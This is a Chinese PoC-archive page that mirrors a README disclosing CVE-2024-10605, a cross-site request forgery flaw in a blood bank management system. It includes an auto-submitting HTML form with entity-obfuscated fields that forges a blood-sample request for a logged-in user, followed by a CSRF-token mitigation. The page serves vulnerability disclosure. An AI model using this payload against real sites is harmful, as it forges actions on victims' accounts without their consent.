POC详情： d0c8ef70526a4a0d2b89ea2fde9f546b98954fe7

来源
https://github.com/0xbeven/CVE-2024-10605
关联漏洞
标题： Code-Projects Blood Bank Management System 跨站请求伪造漏洞 (CVE-2024-10605)
描述：Code-Projects Blood Bank Management System是Code-Projects开源的一个血库管理系统。 Code-Projects Blood Bank Management System 1.0版本存在跨站请求伪造漏洞，该漏洞源于文件/file/request.php中包含跨站请求伪造漏洞。
介绍

## **Affected Version:**
- **BloodBank Management System**: 1.0

## **Vulnerability Information:**
- **Vulnerability Type:** Cross Site Request Forgery (CSRF)
- **Severity:** HIGH
- **Status:** Unpatched

## **Vulnerable Endpoint:**
- **Path:** `file/request.php`

## **Vulnerability Description:**
There is a Cross Site Request Forgery on this endpoint `/file/request.php` which allows a remote user to initiate a `blood sample` request on the account of a `receiver` who is logged in, from the available blood sample of a selected hospital

Successful exploitation can lead to **unauthorized actions** on behalf of the victim. Additionally, this could be exploited by visiting malicious websites with the payload.

---

## **Proof of Concept (PoC):**

Below is an example of a **CSRF POC Attack** that initiates a `blood sample` request from a logged in `receiver's` account:

```html

<html>
    <head>
        <title>CSRF PoC</title>
    </head>
    <body>
        <form action="http://&#108;&#111;&#99;&#97;&#108;&#104;&#111;&#115;&#116;&#46;&#108;&#111;&#99;&#97;&#108;&#47;&#98;&#108;&#111;&#111;&#100;&#98;&#97;&#110;&#107;&#47;&#102;&#105;&#108;&#101;&#47;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#112;&#104;&#112;" method="POST" enctype="application/x-www-form-urlencoded">
            <input name="&#98;&#105;&#100;" value="&#49;&#54;">
            <input name="&#104;&#105;&#100;" value="&#51;">
            <input name="&#98;&#103;" value="&#66;&#45;">
            <input name="&#114;&#101;&#113;&#117;&#101;&#115;&#116;" value="&#82;&#101;&#113;&#117;&#101;&#115;&#116;&#43;&#83;&#97;&#109;&#112;&#108;&#101;">
        </form>
        <script>
            document.querySelector("form").submit();
        </script>
    </body>
</html>





```

---



## **Impact:**
- **Data Manipulation:** Attackers could modify the content displayed to users.
- **Reputational Damage:** Users may lose trust in the system due to malicious behavior.

---

## **Mitigation Recommendations:**
1. **Use CSRF Token** Implement mechanism to deter cross domain access or put `csrf tokens` in your request

---
文件快照

 [4.0K]  /data/pocs/d0c8ef70526a4a0d2b89ea2fde9f546b98954fe7
└── [2.1K]  README.md

0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。